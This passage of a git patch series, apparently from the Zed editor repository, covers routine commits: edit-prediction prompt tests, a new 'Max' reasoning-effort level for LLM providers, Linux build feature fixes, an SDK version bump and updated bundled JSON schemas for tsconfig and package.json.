+            format_zeta_prompt(&zeta2_input, ZetaFormat::V0318SeedMultiRegions),
+        );
+    }
+
+    #[test]
+    fn test_zeta3_parse_seed_multi_region_output_as_patch() {
+        let prefix = (0..20)
+            .map(|index| format!("prefix {index}\n"))
+            .collect::<String>();
+        let excerpt = "fn main() {\n    let value = 1;\n    dbg!(value);\n}\n";
+        let new_excerpt = "fn main() {\n    let value = 2;\n    dbg!(value);\n}\n";
+        let cursor_offset = excerpt.find("value =").expect("cursor text exists");
+        let input = Zeta3PromptInput {
+            cursor_path: Path::new("test.rs").into(),
+            cursor_position: FilePosition { row: 21, column: 8 },
+            events: vec![],
+            editable_context: vec![RelatedFile {
+                path: Path::new("test.rs").into(),
+                max_row: 24,
+                excerpts: vec![RelatedExcerpt {
+                    row_range: 20..24,
+                    text: excerpt.into(),
+                    order: 0,
+                    context_source: ContextSource::CurrentFile,
+                }],
+                in_open_source_repo: false,
+            }],
+            syntax_ranges: vec![0..excerpt.len()],
+            active_buffer_diagnostics: vec![],
+            in_open_source_repo: false,
+            can_collect_data: false,
+            repo_url: None,
+        };
+        let output = multi_region::encode_from_old_and_new_v0318(
+            excerpt,
+            new_excerpt,
+            Some(cursor_offset),
+            CURSOR_MARKER,
+            multi_region::V0318_END_MARKER,
+        )
+        .unwrap();
+
+        let patch =
+            parse_zeta3_model_output_as_patch(&output, ZetaFormat::V0318SeedMultiRegions, &input)
+                .unwrap();
+        let full_text = format!("{prefix}{excerpt}");
+        let expected = format!("{prefix}{new_excerpt}");
+
+        assert!(patch.contains(CURSOR_MARKER));
+        assert_eq!(
+            udiff::apply_diff_to_string(&patch.replace(CURSOR_MARKER, ""), &full_text).unwrap(),
+            expected
+        );
+    }
+
     #[test]
     fn test_seed_coder_no_context() {
         let input = make_input("before\nmiddle\nafter", 7..13, 10, vec![], vec![]);
@@ -6391,7 +6727,7 @@ mod tests {
     #[test]
     fn test_format_zeta1_from_input_basic() {
         let excerpt = "fn before() {}\nfn foo() {\n    let x = 1;\n}\nfn after() {}\n";
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("src/main.rs").into(),
             cursor_excerpt: excerpt.into(),
             cursor_offset_in_excerpt: 30,
@@ -6455,7 +6791,7 @@ mod tests {
     #[test]
     fn test_format_zeta1_from_input_no_start_of_file() {
         let excerpt = "fn foo() {\n    let x = 1;\n}\n";
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("src/main.rs").into(),
             cursor_excerpt: excerpt.into(),
             cursor_offset_in_excerpt: 15,
@@ -6514,7 +6850,7 @@ mod tests {
         let editable_range = 10..37;
         let context_range = 0..excerpt.len();
 
-        let input = ZetaPromptInput {
+        let input = Zeta2PromptInput {
             cursor_path: Path::new("test.rs").into(),
             cursor_excerpt: excerpt.into(),
             cursor_offset_in_excerpt: 25,

From 8372eb1b131ab3b8c0622e930e985f15eb970687 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Yara=20=F0=9F=8F=B3=EF=B8=8F=E2=80=8D=E2=9A=A7=EF=B8=8F?=
 <git@yara.blue>
Date: Thu, 25 Jun 2026 16:18:47 +0200
Subject: [PATCH 103/772] Add picker label to GitHub community PR board
 automation (#59905)

Release Notes:

- N/A
---
 script/community-pr-track-mapping.json | 1 +
 1 file changed, 1 insertion(+)

diff --git a/script/community-pr-track-mapping.json b/script/community-pr-track-mapping.json
index fb51d94dc08b49..6559890c0d3dff 100644
--- a/script/community-pr-track-mapping.json
+++ b/script/community-pr-track-mapping.json
@@ -119,6 +119,7 @@
       "labels": [
         "area:keymap editor",
         "area:popovers",
+        "area:pickers",
         "area:preview/images",
         "area:settings",
         "area:settings/ui",

From 593ca12e3f337b919951a6035d09f9a03354ff6a Mon Sep 17 00:00:00 2001
From: Vlad Ionescu <Vlaaaaaaad@users.noreply.github.com>
Date: Thu, 25 Jun 2026 17:47:28 +0300
Subject: [PATCH 104/772] ai: Add Max reasoning effort (#59806)

# Objective

More and more models are supporting the `max` reasoning effort (DeepSeek
V4, GLM 5.2, etc) and that was missing from Zed.

## Solution

Added `ReasoningEffort::Max` level and implemented support for that
across providers. For most providers this is a no-op as they don't
support that (`max` is missing from `supported_reasoning_levels()`) but
for some providers this required tiny changes: for OpenCode there is now
a proper difference between `xhigh` and `max` (this bug was actually
what triggered this whole PR) and for DeepSeek reasoning levels were
migrated from a custom `deepseek::ReasoningEffort`.

## Testing

Tested and confirmed working with a simple _"rename this variable for
me. add a function. delete the function"_ test across a few providers
(OpenCode, GitHub Copilot, and DeepSeek).

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

N/A

---

Release Notes:

- OpenAI-compatible: added support for `max` reasoning levels
- OpenCode: added support for `max` reasoning levels
---
 crates/language_model_core/src/language_model_core.rs  |  6 +++++-
 .../language_models/src/provider/open_ai_compatible.rs |  2 +-
 .../language_models/src/provider/openai_subscribed.rs  |  1 +
 crates/language_models/src/provider/opencode.rs        |  4 +++-
 crates/language_models/src/provider/x_ai.rs            |  1 +
 crates/open_ai/src/open_ai.rs                          |  1 +
 crates/opencode/src/opencode.rs                        |  1 +
 docs/src/ai/use-api-access.md                          | 10 +++++-----
 8 files changed, 18 insertions(+), 8 deletions(-)

diff --git a/crates/language_model_core/src/language_model_core.rs b/crates/language_model_core/src/language_model_core.rs
index cb1f75b7fd2a98..26ef0867db50bf 100644
--- a/crates/language_model_core/src/language_model_core.rs
+++ b/crates/language_model_core/src/language_model_core.rs
@@ -478,15 +478,17 @@ pub enum ReasoningEffort {
     Medium,
     High,
     XHigh,
+    Max,
 }
 
 impl ReasoningEffort {
-    pub const OPENAI_COMPATIBLE_SELECTABLE: [Self; 5] = [
+    pub const OPENAI_COMPATIBLE_SELECTABLE: [Self; 6] = [
         Self::Minimal,
         Self::Low,
         Self::Medium,
         Self::High,
         Self::XHigh,
+        Self::Max,
     ];
 
     pub fn label(self) -> &'static str {
@@ -497,6 +499,7 @@ impl ReasoningEffort {
             Self::Medium => "Medium",
             Self::High => "High",
             Self::XHigh => "Extra High",
+            Self::Max => "Max",
         }
     }
 
@@ -508,6 +511,7 @@ impl ReasoningEffort {
             Self::Medium => "medium",
             Self::High => "high",
             Self::XHigh => "xhigh",
+            Self::Max => "max",
         }
     }
 }
diff --git a/crates/language_models/src/provider/open_ai_compatible.rs b/crates/language_models/src/provider/open_ai_compatible.rs
index fb914a6f7a2538..847978b7955bfd 100644
--- a/crates/language_models/src/provider/open_ai_compatible.rs
+++ b/crates/language_models/src/provider/open_ai_compatible.rs
@@ -516,7 +516,7 @@ mod tests {
             .map(|level| level.value.as_ref())
             .collect::<Vec<_>>();
 
-        assert_eq!(values, ["minimal", "low", "medium", "high", "xhigh"]);
+        assert_eq!(values, ["minimal", "low", "medium", "high", "xhigh", "max"]);
         assert_eq!(
             effort_levels
                 .iter()
diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index 3cddb57d7e5c81..f63268e60e242a 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -433,6 +433,7 @@ impl LanguageModel for OpenAiSubscribedLanguageModel {
                     ReasoningEffort::Medium => ("Medium", "medium"),
                     ReasoningEffort::High => ("High", "high"),
                     ReasoningEffort::XHigh => ("Extra High", "xhigh"),
+                    ReasoningEffort::Max => return None, // Not supported by any OpenAI models
                 };
 
                 Some(LanguageModelEffortLevel {
diff --git a/crates/language_models/src/provider/opencode.rs b/crates/language_models/src/provider/opencode.rs
index c2ccaad0880a64..9a5dbcdfccb40a 100644
--- a/crates/language_models/src/provider/opencode.rs
+++ b/crates/language_models/src/provider/opencode.rs
@@ -38,7 +38,8 @@ fn normalize_reasoning_effort(effort: &str) -> Option<ReasoningEffort> {
         "low" => Some(ReasoningEffort::Low),
         "medium" => Some(ReasoningEffort::Medium),
         "high" => Some(ReasoningEffort::High),
-        "max" | "xhigh" => Some(ReasoningEffort::XHigh),
+        "xhigh" => Some(ReasoningEffort::XHigh),
+        "max" => Some(ReasoningEffort::Max),
         _ => None,
     }
 }
@@ -51,6 +52,7 @@ fn reasoning_effort_display(effort: ReasoningEffort) -> (&'static str, &'static
         ReasoningEffort::Medium => ("Medium", "medium"),
         ReasoningEffort::High => ("High", "high"),
         ReasoningEffort::XHigh => ("XHigh", "xhigh"),
+        ReasoningEffort::Max => ("Max", "max"),
     }
 }
 
diff --git a/crates/language_models/src/provider/x_ai.rs b/crates/language_models/src/provider/x_ai.rs
index 0627874bcc5ff9..1d21464c5ffbf9 100644
--- a/crates/language_models/src/provider/x_ai.rs
+++ b/crates/language_models/src/provider/x_ai.rs
@@ -342,6 +342,7 @@ fn supported_thinking_effort_levels(model: &x_ai::Model) -> Vec<LanguageModelEff
                 open_ai::ReasoningEffort::Medium => ("Medium", "medium"),
                 open_ai::ReasoningEffort::High => ("High", "high"),
                 open_ai::ReasoningEffort::XHigh => ("Extra High", "xhigh"),
+                open_ai::ReasoningEffort::Max => return None, // Not supported by any xAI models
             };
 
             Some(LanguageModelEffortLevel {
diff --git a/crates/open_ai/src/open_ai.rs b/crates/open_ai/src/open_ai.rs
index e706e10a0e1172..ec25a80d7e21c8 100644
--- a/crates/open_ai/src/open_ai.rs
+++ b/crates/open_ai/src/open_ai.rs
@@ -260,6 +260,7 @@ impl Model {
                 ReasoningEffort::Medium => &[ReasoningEffort::Medium],
                 ReasoningEffort::High => &[ReasoningEffort::High],
                 ReasoningEffort::XHigh => &[ReasoningEffort::XHigh],
+                ReasoningEffort::Max => &[ReasoningEffort::Max],
             },
             Self::O3 => &[
                 ReasoningEffort::Low,
diff --git a/crates/opencode/src/opencode.rs b/crates/opencode/src/opencode.rs
index 43a09777ee168e..ab030721e35ab7 100644
--- a/crates/opencode/src/opencode.rs
+++ b/crates/opencode/src/opencode.rs
@@ -667,6 +667,7 @@ impl Model {
                 ReasoningEffort::Medium,
                 ReasoningEffort::High,
                 ReasoningEffort::XHigh,
+                ReasoningEffort::Max,
             ]),
 
             Self::Custom {
diff --git a/docs/src/ai/use-api-access.md b/docs/src/ai/use-api-access.md
index b7458d4f416772..52b2eaf9605616 100644
--- a/docs/src/ai/use-api-access.md
+++ b/docs/src/ai/use-api-access.md
@@ -389,7 +389,7 @@ Add custom models in your settings file:
           "max_tokens": 123456,
           "max_output_tokens": 98765,
           "protocol": "openai_chat",
-          "reasoning_effort_levels": ["low", "medium", "high"],
+          "reasoning_effort_levels": ["low", "medium", "high", "max"],
           "interleaved_reasoning": false,
           "subscription": "go",
           "custom_model_api_url": "https://example.com/zen"
@@ -407,7 +407,7 @@ The available configuration options for custom OpenCode models are:
 - `max_tokens` (required): maximum model context window size, such as `1000000`
 - `max_output_tokens` (optional): maximum tokens the model can generate, such as `64000`
 - `protocol` (required): model API protocol, one of `"anthropic"`, `"openai_responses"`, `"openai_chat"`, or `"google"`
-- `reasoning_effort_levels` (optional): list of supported reasoning effort levels, such as `["low", "medium", "high"]`. The last value in the list is used as the default
+- `reasoning_effort_levels` (optional): list of supported reasoning effort levels, such as `["low", "medium", "high", "max"]`. The last value in the list is used as the default
 - `interleaved_reasoning` (optional, default `false`): whether thinking tokens are sent as a dedicated `reasoning_content` field. Applies only when using the `openai_chat` protocol
 - `subscription` (optional): `"zen"`, `"go"`, or `"free"`; defaults to `"zen"`
 - `custom_model_api_url` (optional): custom API base URL to use instead of the default OpenCode API
@@ -503,7 +503,7 @@ By default, OpenAI-compatible models inherit these capabilities:
 
 If a model only works with the Responses API, set `capabilities.chat_completions` to `false`. Zed will use the Responses endpoint for that model.
 
-For reasoning models (e.g. GPT-5), set `reasoning_effort` to the non-`none` effort level your endpoint supports. This enables thinking in the agent panel and tells Zed which effort to send when thinking is enabled. The provider settings UI can configure this when adding an OpenAI-compatible provider. Zed sends OpenAI-style `reasoning_effort` on chat-completions requests. For endpoints that document a maximum effort named `"max"` but also accept or map `"xhigh"` (such as OpenRouter and Z.AI), configure `"xhigh"` in Zed.
+For reasoning models (e.g. GPT-5), set `reasoning_effort` to the non-`none` effort level your endpoint supports. This enables thinking in the agent panel and tells Zed which effort to send when thinking is enabled. The provider settings UI can configure this when adding an OpenAI-compatible provider. Zed sends OpenAI-style `reasoning_effort` on chat-completions requests.
 
 If the model requires the Responses API for reasoning state, set `capabilities.chat_completions` to `false`:
 
@@ -535,7 +535,7 @@ If the model requires the Responses API for reasoning state, set `capabilities.c
 }
 ```
 
-Valid settings values are `"none"`, `"minimal"`, `"low"`, `"medium"`, `"high"`, and `"xhigh"`. Use `"none"` in `settings.json` when you need to force reasoning off for an endpoint; the provider setup UI exposes the non-`none` values for thinking-capable models. For chat-completions endpoints that should receive prior thinking back in a dedicated `reasoning_content` field, also set `capabilities.interleaved_reasoning` to `true`. If the endpoint expects the output-token limit as `max_tokens` instead of `max_completion_tokens`, set `capabilities.max_tokens_parameter` to `true`.
+Valid settings values are `"none"`, `"minimal"`, `"low"`, `"medium"`, `"high"`, `"xhigh"`, and `"max"`. Use `"none"` in `settings.json` when you need to force reasoning off for an endpoint; the provider setup UI exposes the non-`none` values for thinking-capable models. For chat-completions endpoints that should receive prior thinking back in a dedicated `reasoning_content` field, also set `capabilities.interleaved_reasoning` to `true`. If the endpoint expects the output-token limit as `max_tokens` instead of `max_completion_tokens`, set `capabilities.max_tokens_parameter` to `true`.
 
 For example, a chat-completions endpoint with the maximum OpenAI-style reasoning effort, streamed thinking, and `max_tokens` output limits can be configured as:
 
@@ -550,7 +550,7 @@ For example, a chat-completions endpoint with the maximum OpenAI-style reasoning
             "name": "reasoning-model",
             "max_tokens": 1000000,
             "max_output_tokens": 128000,
-            "reasoning_effort": "xhigh",
+            "reasoning_effort": "max",
             "capabilities": {
               "tools": true,
               "images": false,

From eae0b583c0cf820ae7bd66afb6f3fb72fd2838f8 Mon Sep 17 00:00:00 2001
From: mengh04 <mengh0412@hotmail.com>
Date: Thu, 25 Jun 2026 23:46:39 +0800
Subject: [PATCH 105/772] markdown: Fix example crash on Linux (#58406)

markdown: Fix example crash on Linux by enabling wayland/x11 features

   The markdown example panics with `unreachable!()` on Linux because
   `gpui_platform`'s default features are empty, and the example doesn't
   explicitly enable `wayland` or `x11`.

Release Notes:

- N/A
---
 crates/markdown/Cargo.toml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/crates/markdown/Cargo.toml b/crates/markdown/Cargo.toml
index 77af7f396b4c35..7443803346e2bc 100644
--- a/crates/markdown/Cargo.toml
+++ b/crates/markdown/Cargo.toml
@@ -45,7 +45,7 @@ assets.workspace = true
 env_logger.workspace = true
 fs = {workspace = true, features = ["test-support"]}
 gpui = { workspace = true, features = ["test-support"] }
-gpui_platform.workspace = true
+gpui_platform = { workspace = true, features = ["wayland", "x11"] }
 language = { workspace = true, features = ["test-support"] }
 languages = { workspace = true, features = ["load-grammars"] }
 node_runtime.workspace = true

From 9de0590a8197cf0725509810435b6ed5bae18432 Mon Sep 17 00:00:00 2001
From: Ben Brandt <benjamin.j.brandt@gmail.com>
Date: Thu, 25 Jun 2026 18:03:28 +0200
Subject: [PATCH 106/772] acp: Update to Rust SDK 1.0.0 (#59889)

Sticking to a pinned version because we use the unstable feature set

Release Notes:

- N/A
---
 Cargo.lock | 13 +++++++------
 Cargo.toml |  2 +-
 2 files changed, 8 insertions(+), 7 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 8aeffc53c8f28d..7680a19c20101e 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -321,9 +321,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol"
-version = "0.15.0"
+version = "1.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "794aea8f191be00ab10233745d49b49f53be6a3f4d7fe540f681aebc535c5415"
+checksum = "e981a7d0207a0e9eb67d0faafc04e8c6601dea572d67a3163798897c0024521d"
 dependencies = [
  "agent-client-protocol-derive",
  "agent-client-protocol-schema",
@@ -338,13 +338,14 @@ dependencies = [
  "shell-words",
  "tracing",
  "uuid",
+ "windows-sys 0.61.2",
 ]
 
 [[package]]
 name = "agent-client-protocol-derive"
-version = "0.15.0"
+version = "1.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83ffd930c0d668152ce6d591189f324835d46031eabecb51ada3619ad7e2a278"
+checksum = "0d589c28cbe2978c76f8714cc304bc08355ee2f05d120806717725d9ffa12143"
 dependencies = [
  "quote",
  "syn 2.0.117",
@@ -352,9 +353,9 @@ dependencies = [
 
 [[package]]
 name = "agent-client-protocol-schema"
-version = "0.14.0"
+version = "1.1.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b4e7eb6f1e554741f621ae4abb046d4fbb3cb88541bc599693ae7f9aa30b72eb"
+checksum = "ac542aba230234b1591ace7286a47c0514fe3efc3037d43296bde31ba7ee5728"
 dependencies = [
  "anyhow",
  "derive_more",
diff --git a/Cargo.toml b/Cargo.toml
index 611ecf2a25857b..19145a6727da45 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -504,7 +504,7 @@ accesskit = "0.24.0"
 accesskit_macos = "0.26.0"
 accesskit_unix = "0.21.0"
 accesskit_windows = "0.33.1"
-agent-client-protocol = { version = "=0.15.0", features = ["unstable"] }
+agent-client-protocol = { version = "=1.0.0", features = ["unstable"] }
 aho-corasick = "1.1"
 alacritty_terminal = { git = "https://github.com/zed-industries/alacritty", rev = "4c129667ce56611becdc82de6e28218c80e2e88f" }
 any_vec = "0.14"

From dae3e574e49baff324d8e708ce4de1b407717568 Mon Sep 17 00:00:00 2001
From: Zax71 <67716263+zax71@users.noreply.github.com>
Date: Thu, 25 Jun 2026 17:28:21 +0100
Subject: [PATCH 107/772] gpui_linux: Improve error message when X11 and
 Wayland feature flags are missing (#58685)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Improves `gpui_linux` error messages for missing feature flags.
Currently, you'd need to look at the source & Rust backtrace to diagnose
the error shown when the feature flags are missing.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable


Release Notes:

- Improve `gpui_linux` error messages for missing feature flags

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 crates/gpui_linux/src/linux.rs | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/crates/gpui_linux/src/linux.rs b/crates/gpui_linux/src/linux.rs
index bafdc2e5241da1..7202248e376458 100644
--- a/crates/gpui_linux/src/linux.rs
+++ b/crates/gpui_linux/src/linux.rs
@@ -52,6 +52,8 @@ pub fn current_platform(headless: bool) -> Rc<dyn gpui::Platform> {
         "Headless" => Rc::new(LinuxPlatform {
             inner: HeadlessClient::new(),
         }),
-        _ => unreachable!(),
+        _ => unreachable!(
+            r#"At least one of the "wayland" or "x11" features must be enabled on gpui_linux or gpui_platform."#
+        ),
     }
 }

From e0f77d16fb5fe691277b66959ae908819c753311 Mon Sep 17 00:00:00 2001
From: Peter Tripp <peter@zed.dev>
Date: Thu, 25 Jun 2026 13:30:12 -0400
Subject: [PATCH 108/772] Update bundled JSON schemas (2026-04-29) (#58948)

./script/update-json-schemas 16c22767

- Improved `script/update-json-schemas`
  - Fix paths to match new locations of schemas
  - Add support for specifying an explicit commit
  - Use sed to replace `json.` links with `www.` in schemas
- Updated JSON schemas to
[SchemaStore/schemastore@16c2276](https://github.com/SchemaStore/schemastore/tree/16c227677c1cb71864593f63382705e8c7390810)
(2026-04-29; last updated 2025-02-28)
-
[tsconfig.json](https://github.com/SchemaStore/schemastore/commits/master/src/schemas/json/tsconfig.json)
@
[16c2276](https://raw.githubusercontent.com/SchemaStore/schemastore/16c227677c1cb71864593f63382705e8c7390810/src/schemas/json/tsconfig.json)
-
[changes](https://github.com/SchemaStore/schemastore/commits/16c227677c1cb71864593f63382705e8c7390810/src/schemas/json/tsconfig.json)
-
[package.json](https://github.com/SchemaStore/schemastore/commits/master/src/schemas/json/package.json)
@
[16c2276](https://raw.githubusercontent.com/SchemaStore/schemastore/16c227677c1cb71864593f63382705e8c7390810/src/schemas/json/package.json)
-
[changes](https://github.com/SchemaStore/schemastore/commits/16c227677c1cb71864593f63382705e8c7390810/src/schemas/json/package.json)
- Updates tsconfig.json to support ES2025 stuff.
- Updates package.json to support `nodemonConfig`

Note, this is pinned to an old commit
(https://github.com/SchemaStore/schemastore/commit/16c22767) because
anything after https://github.com/SchemaStore/schemastore/pull/5631 will
result in errors for all referenced schemas in package.json. This occurs
as they are all now relative links, which cannot be resolved for the
schema injected via config. This is also a hint that the current method
of bundling of package.json schema in practice triggers json-language
fetching 8 other nested schemas. Probably worth revisiting that.

CC: @probably-neb as someone who recently worked on the schemastore
stuff.

Self-Review Checklist:

- [Yes] I've reviewed my own diff for quality, security, and reliability
- [N/A] Unsafe blocks (if any) have justifying comments
- [N/A] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [N/A] Tests cover the new/changed behavior
- [N/A] Performance impact has been considered and is acceptable

Release Notes:

- Update bundled tsconfig.json and package.json schemas

---------

Co-authored-by: Ben Kunkle <ben.kunkle@gmail.com>
---
 .../src/schemas/package.json                  |  12 +-
 .../src/schemas/tsconfig.json                 | 893 +++++++++---------
 script/update-json-schemas                    |  23 +-
 typos.toml                                    |   3 +
 4 files changed, 502 insertions(+), 429 deletions(-)

diff --git a/crates/json_schema_store/src/schemas/package.json b/crates/json_schema_store/src/schemas/package.json
index 0906dcf36e30dc..5b32bdb7d8204e 100644
--- a/crates/json_schema_store/src/schemas/package.json
+++ b/crates/json_schema_store/src/schemas/package.json
@@ -797,7 +797,14 @@
     "packageManager": {
       "description": "Defines which package manager is expected to be used when working on the current project. This field is currently experimental and needs to be opted-in; see https://nodejs.org/api/corepack.html",
       "type": "string",
-      "pattern": "(npm|pnpm|yarn|bun)@\\d+\\.\\d+\\.\\d+(-.+)?"
+      "oneOf": [
+        {
+          "pattern": "(npm|pnpm|yarn|bun)@\\d+\\.\\d+\\.\\d+(-.+)?"
+        },
+        {
+          "const": "bun"
+        }
+      ]
     },
     "engines": {
       "type": "object",
@@ -1047,6 +1054,9 @@
     "jscpd": {
       "$ref": "https://www.schemastore.org/jscpd.json"
     },
+    "nodemonConfig": {
+      "$ref": "https://www.schemastore.org/nodemon.json"
+    },
     "pnpm": {
       "description": "Defines pnpm specific configuration.",
       "type": "object",
diff --git a/crates/json_schema_store/src/schemas/tsconfig.json b/crates/json_schema_store/src/schemas/tsconfig.json
index 9484c027df59c2..7961711cc1d586 100644
--- a/crates/json_schema_store/src/schemas/tsconfig.json
+++ b/crates/json_schema_store/src/schemas/tsconfig.json
@@ -1,5 +1,6 @@
 {
   "$schema": "http://json-schema.org/draft-04/schema#",
+  "$comment": "Note that this schema uses 'null' in various places. The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058)",
   "allowTrailingCommas": true,
   "allOf": [
     {
@@ -49,39 +50,42 @@
     "filesDefinition": {
       "properties": {
         "files": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-          "description": "If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. When a 'files' property is specified, only those files and those specified by 'include' are included.",
+          "description": "If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. When a 'files' property is specified, only those files and those specified by 'include' are included.\n\n---\n\nSpecifies an allowlist of files to include in the program. An error occurs if any of the files can't be found.\n\n```json tsconfig\n{\n  \"compilerOptions\": {},\n  \"files\": [\n    \"core.ts\",\n    \"sys.ts\",\n    \"types.ts\",\n    \"scanner.ts\",\n    \"parser.ts\",\n    \"utilities.ts\",\n    \"binder.ts\",\n    \"checker.ts\",\n    \"tsc.ts\"\n  ]\n}\n```\n\nThis is useful when you only have a small number of files and don't need to use a glob to reference many files.\nIf you need that then use [`include`](https://typescriptlang.org/tsconfig/#include).",
           "type": ["array", "null"],
           "uniqueItems": true,
           "items": {
-            "type": ["string", "null"]
-          }
+            "type": "string"
+          },
+          "markdownDescription": "If no 'files' or 'include' property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by 'exclude'. When a 'files' property is specified, only those files and those specified by 'include' are included.\n\n---\n\nSpecifies an allowlist of files to include in the program. An error occurs if any of the files can't be found.\n\n```json tsconfig\n{\n  \"compilerOptions\": {},\n  \"files\": [\n    \"core.ts\",\n    \"sys.ts\",\n    \"types.ts\",\n    \"scanner.ts\",\n    \"parser.ts\",\n    \"utilities.ts\",\n    \"binder.ts\",\n    \"checker.ts\",\n    \"tsc.ts\"\n  ]\n}\n```\n\nThis is useful when you only have a small number of files and don't need to use a glob to reference many files.\nIf you need that then use [`include`](https://typescriptlang.org/tsconfig/#include).",
+          "x-intellij-html-description": "<p>If no &#39;files&#39; or &#39;include&#39; property is present in a tsconfig.json, the compiler defaults to including all files in the containing directory and subdirectories except those specified by &#39;exclude&#39;. When a &#39;files&#39; property is specified, only those files and those specified by &#39;include&#39; are included.</p>\n<hr>\n<p>Specifies an allowlist of files to include in the program. An error occurs if any of the files can&#39;t be found.</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {},\n  &quot;files&quot;: [\n    &quot;core.ts&quot;,\n    &quot;sys.ts&quot;,\n    &quot;types.ts&quot;,\n    &quot;scanner.ts&quot;,\n    &quot;parser.ts&quot;,\n    &quot;utilities.ts&quot;,\n    &quot;binder.ts&quot;,\n    &quot;checker.ts&quot;,\n    &quot;tsc.ts&quot;\n  ]\n}\n</code></pre>\n<p>This is useful when you only have a small number of files and don&#39;t need to use a glob to reference many files.\nIf you need that then use <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a>.</p>\n"
         }
       }
     },
     "excludeDefinition": {
       "properties": {
         "exclude": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-          "description": "Specifies a list of files to be excluded from compilation. The 'exclude' property only affects the files included via the 'include' property and not the 'files' property. Glob patterns require TypeScript version 2.0 or later.",
+          "description": "Specifies a list of files to be excluded from compilation. The 'exclude' property only affects the files included via the 'include' property and not the 'files' property. Glob patterns require TypeScript version 2.0 or later.\n\n---\n\nSpecifies an array of filenames or patterns that should be skipped when resolving [`include`](https://typescriptlang.org/tsconfig/#include).\n\n**Important**: `exclude` _only_ changes which files are included as a result of the [`include`](https://typescriptlang.org/tsconfig/#include) setting.\nA file specified by `exclude` can still become part of your codebase due to an `import` statement in your code, a `types` inclusion, a `/// <reference` directive, or being specified in the [`files`](https://typescriptlang.org/tsconfig/#files) list.\n\nIt is not a mechanism that **prevents** a file from being included in the codebase - it simply changes what the [`include`](https://typescriptlang.org/tsconfig/#include) setting finds.",
           "type": ["array", "null"],
           "uniqueItems": true,
           "items": {
-            "type": ["string", "null"]
-          }
+            "type": "string"
+          },
+          "markdownDescription": "Specifies a list of files to be excluded from compilation. The 'exclude' property only affects the files included via the 'include' property and not the 'files' property. Glob patterns require TypeScript version 2.0 or later.\n\n---\n\nSpecifies an array of filenames or patterns that should be skipped when resolving [`include`](https://typescriptlang.org/tsconfig/#include).\n\n**Important**: `exclude` _only_ changes which files are included as a result of the [`include`](https://typescriptlang.org/tsconfig/#include) setting.\nA file specified by `exclude` can still become part of your codebase due to an `import` statement in your code, a `types` inclusion, a `/// <reference` directive, or being specified in the [`files`](https://typescriptlang.org/tsconfig/#files) list.\n\nIt is not a mechanism that **prevents** a file from being included in the codebase - it simply changes what the [`include`](https://typescriptlang.org/tsconfig/#include) setting finds.",
+          "x-intellij-html-description": "<p>Specifies a list of files to be excluded from compilation. The &#39;exclude&#39; property only affects the files included via the &#39;include&#39; property and not the &#39;files&#39; property. Glob patterns require TypeScript version 2.0 or later.</p>\n<hr>\n<p>Specifies an array of filenames or patterns that should be skipped when resolving <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a>.</p>\n<p><strong>Important</strong>: <code>exclude</code> <em>only</em> changes which files are included as a result of the <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a> setting.\nA file specified by <code>exclude</code> can still become part of your codebase due to an <code>import</code> statement in your code, a <code>types</code> inclusion, a <code>/// &lt;reference</code> directive, or being specified in the <a href=\"https://typescriptlang.org/tsconfig/#files\"><code>files</code></a> list.</p>\n<p>It is not a mechanism that <strong>prevents</strong> a file from being included in the codebase - it simply changes what the <a href=\"https://typescriptlang.org/tsconfig/#include\"><code>include</code></a> setting finds.</p>\n"
         }
       }
     },
     "includeDefinition": {
       "properties": {
         "include": {
-          "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
